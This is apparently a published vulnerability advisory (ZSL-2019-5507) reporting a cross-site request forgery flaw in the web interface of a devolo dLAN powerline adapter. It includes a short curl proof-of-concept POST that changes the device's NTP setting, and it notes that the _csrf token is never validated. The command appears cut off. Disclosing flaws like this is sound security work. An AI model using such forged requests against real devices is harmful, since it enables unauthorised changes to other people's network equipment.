devolo dLAN 550 duo+ Starter Kit - Cross-Site Request Forgery

sm 2019-02-05 webapps hardware 80
devolo dLAN 550 duo+ Starter Kit Cross-Site Request Forgery

Vendor: devolo AG
Product web page:
Affected version: dLAN 500 AV Wireless+ 3.1.0-1 (i386)

Summary: Devolo dLAN® 550 duo+ Starter Kit is Powerlineadapter which is
a cost-effective and helpful networking alternative for any location
without structured network wiring. Especially in buildings or residences
lacking network cables or where updating the wiring would be expensive
and complicated, Powerline adapters provide networking at high transmission

Desc: The web application allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests. The
devolo web application uses predictable URL/form actions in a repeatable way.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.

Tested on: Linux 2.6.31

Vulnerability discovered by Stefan Petrushevski aka sm

Advisory ID: ZSL-2019-5507
Advisory URL:



curl -i -s -k  -X 'POST' \
    -H 'Origin: http://DEVOLO-IP' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Referer: http://DEVOLO-IP/cgi-bin/htmlmgr?_file=%2Fwgl%2Fmain.wgl&_sid=&_style=std&_lang=&_dir=expert&_page=time' \
    --data-binary $'%3Asys%3ANTPClient.EnableNTP=on&' \

Even though there is a '_csrf' parameter that is being submited, it is never checked (nor it contains any value)